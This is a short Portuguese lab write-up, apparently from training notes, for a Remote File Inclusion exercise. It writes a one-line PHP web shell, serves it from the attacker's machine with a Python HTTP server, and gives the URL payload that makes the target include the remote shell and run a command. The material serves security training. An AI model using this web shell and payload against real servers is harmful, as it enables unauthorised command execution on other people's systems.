# RFI - 1

1. Ataque o alvo, obtenha a execução do comando explorando a vulnerabilidade RFI e, em seguida, procure o sinalizador em um dos diretórios em /&#x20;

* Vamos escrever o nosso web shell

```
echo '<?php system($_GET["cmd"]); ?>' > shell.php
```

* Vamos iniciar um servidor http

```
sudo python3 -m http.server <LISTENING_PORT>
```

* Agora, podemos incluir nosso shell local por meio de RFI, como fizemos antes, mas usando `<OUR_IP>`e nosso `<LISTENING_PORT>`. Também especificaremos o comando a ser executado com `&cmd=id`:

#### Pyload :&#x20;

```
http://<SERVER_IP>:<PORT>/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id
```

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FoW7FxSkPAfBxYIj5w5n6%2Fimage.png?alt=media&#x26;token=a84f0998-e0fe-4ae0-b3fa-b3f538602f26" alt=""><figcaption></figcaption></figure>

